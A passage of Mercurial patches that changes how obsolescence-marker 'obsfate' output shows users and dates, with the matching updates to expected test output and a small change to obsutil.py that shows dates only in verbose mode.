-  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a by test (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 by test (at 1970-01-01 00:00 +0000)]
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 (at 1970-01-01 00:00 +0000)]
   |/
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -159,9 +159,9 @@
   5:5601fb93a350 (draft) [tip ] add new_3_c
   $ hg heads --hidden
   5:5601fb93a350 (draft) [tip ] add new_3_c
-  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
-  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
-  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163 by test (at 1970-01-01 00:00 -0002)]
+  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
+  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163 (at 1970-01-01 00:00 -0002)]
 
 
 check that summary does not report them
@@ -277,11 +277,11 @@
   $ hg log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 by test (at 1970-01-01 00:22 +0000)]
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 (at 1970-01-01 00:22 +0000)]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -435,11 +435,11 @@
   $ hg -R clone-dest log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 by test (at 1970-01-01 00:22 +0000)]
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 (at 1970-01-01 00:22 +0000)]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 (at 1970-01-01 00:22 +0000)]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -520,7 +520,7 @@
   $ hg debugobsolete | grep `getid original_d`
   94b33453f93bdb8d457ef9b770851a618bf413e1 0 {6f96419950729f3671185b847352890f074f7557} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   $ hg log -r 'obsolete()'
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
   $ hg summary
   parent: 5:cda648ca50f5 tip (orphan)
    add original_e
@@ -532,7 +532,7 @@
   $ hg log -G -r '::orphan()'
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -571,7 +571,7 @@
   1:7c3bad9141dc (public) [ ] add b
   2:245bde4270cd (public) [ ] add original_c
   3:6f9641995072 (draft) [ ] add n3w_3_c
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
   5:cda648ca50f5 (draft orphan) [tip ] add original_e
   $ hg push ../tmpf -f # -f because be push unstable too
   pushing to ../tmpf
@@ -595,7 +595,7 @@
   $ hg log -G
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -638,7 +638,7 @@
   |
   | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e [rewritten as 6:3de5eca88c00 by test <test@example.net> (at 1970-01-01 00:00 +0000)]
   | |
-  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
+  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned (at 1970-01-01 00:00 +0000)]
   |/
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -928,7 +928,7 @@
 test the "obsolete" templatekw
 
   $ hg log -r 'obsolete()'
-  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned by test (at 1970-01-01 00:00 +0000)]
+  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned (at 1970-01-01 00:00 +0000)]
 
 test the "troubles" templatekw
 
@@ -1098,7 +1098,7 @@
   $ hg log -G
   @  2:323a9c3ddd91 (draft) [tip ] A
   |
-  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91 by test (at 1970-01-01 00:00 +0000)]
+  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91 (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 (draft) [ ] base
   
@@ -1152,7 +1152,7 @@
   $ hg log -G --hidden
   @  2:b7d587542d40 (draft) [tip ] B+
   |
-  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40 by test (at 1970-01-01 00:00 +0000)]
+  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40 (at 1970-01-01 00:00 +0000)]
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1279,7 +1279,7 @@
   $ hg commit --amend -m "message"
   $ hg book bookb -r 13bedc178fce --hidden
   $ hg log -r 13bedc178fce
-  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753 by test (at 1970-01-01 00:00 +0000)]
+  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753 (at 1970-01-01 00:00 +0000)]
   $ hg book -d bookb
   $ hg log -r 13bedc178fce
   abort: hidden revision '13bedc178fce'!
@@ -1319,7 +1319,7 @@
   $ hg log -G --hidden
   @  3:b0551702f918 (draft) [tip ] 2
   |
-  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918 by test (at 1970-01-01 00:00 +0000)]
+  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918 (at 1970-01-01 00:00 +0000)]
   |/
   o  1:e016b03fd86f (draft) [ ] 1
   |
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507556066 -7200
#      Mon Oct 09 15:34:26 2017 +0200
# Node ID 6f53a53245a2cb5ae0c713ce5970d541437e7031
# Parent  62a4ccf9784a40616713898cdf9532c3774146ba
obsfate: only display date in verbose mode

The date is also not that helpful in most cases but we show it in verbose mode.

diff --git a/mercurial/obsutil.py b/mercurial/obsutil.py
--- a/mercurial/obsutil.py
+++ b/mercurial/obsutil.py
@@ -822,15 +822,16 @@
     # Date
     dates = markersdates(markers)
 
-    min_date = min(dates)
-    max_date = max(dates)
+    if verbose:
+        min_date = min(dates)
+        max_date = max(dates)
 
-    if min_date == max_date:
-        fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
-        line.append(" (at %s)" % fmtmin_date)
-    else:
-        fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
-        fmtmax_date = util.datestr(max_date, '%Y-%m-%d %H:%M %1%2')
-        line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date))
+        if min_date == max_date:
+            fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+            line.append(" (at %s)" % fmtmin_date)
+        else:
+            fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
+            fmtmax_date = util.datestr(max_date, '%Y-%m-%d %H:%M %1%2')
+            line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date))
 
     return "".join(line)
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -100,7 +100,7 @@
   o  d004c8f274b9
   |
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000)
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2
   o  ea207398892e
   
   $ hg up 'desc(A1)' --hidden
@@ -219,18 +219,18 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 (at 2001-04-19 04:25 +0000)
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 (at 2009-02-13 23:31 +0000)
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 (at 2009-02-13 23:31 +0000)
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -394,7 +394,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a
   o  ea207398892e
   
   $ hg fatelogkw --hidden
@@ -403,7 +403,7 @@
   o  337fec4d2edc
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -594,18 +594,18 @@
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:eb5a0daa2192
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 3:eb5a0daa2192
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  eb5a0daa2192
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:eb5a0daa2192
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 3:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 3:eb5a0daa2192
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -824,24 +824,24 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten using amend as 4:019fadeab383 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 4:019fadeab383
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: rewritten using amend as 4:019fadeab383 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 4:019fadeab383
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1095,22 +1095,22 @@
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 4:eb5a0daa2192
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 (at 1970-01-01 00:00 +0000)
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 4:eb5a0daa2192
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  eb5a0daa2192
   |
   | x  b7ea6d14e664
-  | |    Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 4:eb5a0daa2192
   | | x  0dec01379d3b
-  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 (at 1970-01-01 00:00 +0000)
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 4:eb5a0daa2192 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 4:eb5a0daa2192
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1282,14 +1282,14 @@
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  7a230b46bf61
   |
   | x  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1445,20 +1445,20 @@
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b
   @  ea207398892e
   
   $ hg fatelogkw --hidden
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b
   @  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1832,21 +1832,21 @@
   o |  b18bc8331526
   |/
   | x  ba2ed02b0c9a
-  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc
   | x  4a004186e638
-  |/     Obsfate: rewritten using amend as 8:b18bc8331526 (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 9:0b997eb7ceee (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b
   o  ea207398892e
   
   $ hg fatelogkw --hidden
@@ -1857,21 +1857,21 @@
   o |  b18bc8331526
   |/
   | x  ba2ed02b0c9a
-  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc
   | x  4a004186e638
-  |/     Obsfate: rewritten using amend as 8:b18bc8331526 (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 9:0b997eb7ceee (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee
   o  dd800401bd8c
   |
   | @  9bd10a0775e4
-  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
   o  f897c6137566
   |
   | x  0dec01379d3b
-  | |    Obsfate: rewritten as 3:f897c6137566 (at 1970-01-01 00:00 +0000)
-  | |    Obsfate: rewritten as 1:471f378eab4c (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
   | x  471f378eab4c
-  |/     Obsfate: rewritten as 2:0dec01379d3b (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten as 2:0dec01379d3b
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -1977,22 +1977,22 @@
 
   $ hg fatelogkw --hidden -q
   x  65b757b745b9
-  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned
   | x  fdf9bde5129a
-  |/     Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: pruned
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   x  65b757b745b9
-  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned
   | x  fdf9bde5129a
-  |/     Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: pruned
   | @  471f378eab4c
-  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a (at 1970-01-01 00:00 +0000)
-  |      Obsfate: rewritten using amend as 3:65b757b745b9 (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
@@ -2101,20 +2101,20 @@
 
   $ hg fatelogkw --hidden -q
   @  0d0ef4bdf70e
-  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned
   o  617adc3a144c
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e
   o  ea207398892e
   
   $ hg fatelogkw --hidden
   @  0d0ef4bdf70e
-  |    Obsfate: pruned (at 1970-01-01 00:00 +0000)
+  |    Obsfate: pruned
   o  617adc3a144c
   |
   | x  471597cad322
-  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e (at 1970-01-01 00:00 +0000)
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e
   o  ea207398892e
   
   $ hg fatelogkw --hidden -v
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -66,7 +66,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -127,11 +127,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda]
   |/
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -185,7 +185,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -259,11 +259,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba; rewritten as 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -309,7 +309,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -361,15 +361,15 @@
   $ hg log -G --hidden
   @  6:e442cfc57690 A_5
   |
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   o  0:d20a80d4def3 base
   
@@ -437,19 +437,19 @@
   |/
   | o  8:7ae126973a96 A_7
   |/
-  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da]
   | |
-  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 (at 1970-01-01 00:00 +0000)]
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a; split as 8:7ae126973a96, 9:14608b260df8]
   |/
-  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 (at 1970-01-01 00:00 +0000)]
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a (at 1970-01-01 00:00 +0000)]
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a]
   |/
-  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda (at 1970-01-01 00:00 +0000)]
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda]
   |/
-  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da (at 1970-01-01 00:00 +0000)]
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da]
   |/
   @  0:d20a80d4def3 base
   
@@ -535,25 +535,25 @@
   $ hg log -G --hidden
   o  11:a139f71be9da A_A
   |
-  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
+  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da]
   |/
-  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
+  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da]
   |/
-  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da (at 1970-01-01 00:00 +0000)]
+  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da]
   |/
